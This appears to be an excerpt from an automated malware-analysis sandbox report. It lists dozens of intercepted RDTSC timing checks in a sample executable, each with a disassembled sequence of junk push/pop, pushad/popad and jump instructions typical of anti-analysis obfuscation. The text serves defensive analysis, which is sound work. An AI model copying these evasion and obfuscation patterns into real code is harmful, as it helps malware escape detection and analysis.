Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D1BA second address: 37D1E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F95D925B956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jno 00007F95D925B962h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D1E9 second address: 37D208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B8h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D4D8 second address: 37D4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F95D925B956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D4E2 second address: 37D4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D4E6 second address: 37D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95D925B969h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D509 second address: 37D515 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F95D91784A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 381C9A second address: 381CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F95D925B960h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 381CB2 second address: 381CBC instructions: 0x00000000 rdtsc 0x00000002 js 00007F95D91784B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 380BCC second address: 380BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F95D925B965h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 380BEC second address: 380BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 380BF0 second address: 380BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33C960 second address: 33CA08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], ebx 0x0000000a pushad 0x0000000b mov edi, dword ptr [ebp+122D369Ah] 0x00000011 mov ebx, dword ptr [ebp+122D397Eh] 0x00000017 popad 0x00000018 push dword ptr fs:[00000000h] 0x0000001f jbe 00007F95D91784ACh 0x00000025 xor edx, dword ptr [ebp+122D390Eh] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov cl, B0h 0x00000034 mov dword ptr [ebp+124885F8h], esp 0x0000003a mov edi, dword ptr [ebp+122D2572h] 0x00000040 cmp dword ptr [ebp+122D397Eh], 00000000h 0x00000047 jne 00007F95D9178575h 0x0000004d add edx, 08E7EB00h 0x00000053 mov byte ptr [ebp+122D1A26h], 00000047h 0x0000005a push 00000000h 0x0000005c push esi 0x0000005d call 00007F95D91784A8h 0x00000062 pop esi 0x00000063 mov dword ptr [esp+04h], esi 0x00000067 add dword ptr [esp+04h], 0000001Ah 0x0000006f inc esi 0x00000070 push esi 0x00000071 ret 0x00000072 pop esi 0x00000073 ret 0x00000074 add edx, dword ptr [ebp+122D36DAh] 0x0000007a mov eax, D49AA7D2h 0x0000007f je 00007F95D91784ACh 0x00000085 mov edi, dword ptr [ebp+122D2078h] 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e push ebx 0x0000008f jmp 00007F95D91784B0h 0x00000094 pop ebx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CD95 second address: 33CE45 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 25066E0Ah 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F95D925B958h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 pushad 0x0000002a push edi 0x0000002b mov dword ptr [ebp+122D2599h], edi 0x00000031 pop ecx 0x00000032 mov ebx, esi 0x00000034 popad 0x00000035 call 00007F95D925B959h 0x0000003a pushad 0x0000003b jns 00007F95D925B96Fh 0x00000041 jmp 00007F95D925B966h 0x00000046 popad 0x00000047 push eax 0x00000048 jp 00007F95D925B96Ch 0x0000004e jmp 00007F95D925B966h 0x00000053 mov eax, dword ptr [esp+04h] 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a jmp 00007F95D925B95Eh 0x0000005f jng 00007F95D925B956h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CE45 second address: 33CE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CE57 second address: 33CE92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B962h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jbe 00007F95D925B967h 0x00000013 jmp 00007F95D925B961h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f push edx 0x00000020 pop edx 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CF4D second address: 33CF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95D91784B7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CF6B second address: 33CFC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], esi 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F95D925B958h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov cx, bx 0x0000002a nop 0x0000002b push edx 0x0000002c jmp 00007F95D925B966h 0x00000031 pop edx 0x00000032 push eax 0x00000033 pushad 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33CFC6 second address: 33CFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 323096 second address: 3230CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F95D925B956h 0x00000009 jmp 00007F95D925B962h 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F95D925B966h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3815A5 second address: 3815BD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F95D91784ABh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2F53D9 second address: 2F53DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3867FE second address: 386804 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 386D40 second address: 386D5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F95D925B965h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 386F01 second address: 386F11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F95D91784A8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871C3 second address: 3871D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871D1 second address: 3871D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871D5 second address: 3871DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871DB second address: 3871EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95D91784AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871EE second address: 3871FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F95D925B956h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3871FC second address: 38720B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38720B second address: 387243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B967h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95D925B968h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 387243 second address: 387260 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F95D91784B3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3873DA second address: 3873E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3873E0 second address: 3873E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38B3C6 second address: 38B3F0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95D925B956h 0x00000008 jmp 00007F95D925B95Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007F95D925B961h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38B698 second address: 38B69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38B69C second address: 38B6A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38B6A0 second address: 38B6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E0BF second address: 38E0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E0C5 second address: 38E0E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E0E2 second address: 38E0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007F95D925B95Ch 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E0FB second address: 38E107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F95D91784A6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E107 second address: 38E110 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38E110 second address: 38E116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38DC24 second address: 38DC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38DC28 second address: 38DC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38DC32 second address: 38DC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38DDA0 second address: 38DDC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F95D91784A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F95D91784B7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38DDC7 second address: 38DDD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38F87D second address: 38F899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F95D91784B2h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 38F899 second address: 38F89D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 393B81 second address: 393B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 393FED second address: 394004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B963h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 394004 second address: 394018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F95D91784AAh 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 394018 second address: 39403A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39403A second address: 394041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 394041 second address: 394047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 394047 second address: 394056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 394056 second address: 39405A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 397639 second address: 39764D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95D91784ABh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39764D second address: 397651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 397651 second address: 397657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 397657 second address: 397667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F95D925B95Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 396DD9 second address: 396DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 396DDD second address: 396E22 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F95D925B963h 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F95D925B95Bh 0x00000018 jmp 00007F95D925B960h 0x0000001d popad 0x0000001e ja 00007F95D925B95Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 397370 second address: 397374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BA75 second address: 39BA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BBED second address: 39BBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BBF3 second address: 39BBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BBF9 second address: 39BBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BBFF second address: 39BC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BC04 second address: 39BC24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B5h 0x00000007 pushad 0x00000008 jns 00007F95D91784A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BEDB second address: 39BF00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F95D925B956h 0x0000000d jmp 00007F95D925B964h 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BF00 second address: 39BF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784B2h 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BF1F second address: 39BF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BF25 second address: 39BF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39BF2A second address: 39BF58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D925B962h 0x00000009 jmp 00007F95D925B968h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C0F0 second address: 39C11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95D91784A6h 0x0000000a popad 0x0000000b jmp 00007F95D91784B3h 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F95D91784A6h 0x00000018 jl 00007F95D91784A6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C257 second address: 39C265 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C265 second address: 39C269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C269 second address: 39C278 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C278 second address: 39C29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F95D91784ACh 0x0000000b jg 00007F95D91784A6h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jc 00007F95D91784A6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C29C second address: 39C2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95D925B964h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C2B7 second address: 39C2C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784ADh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
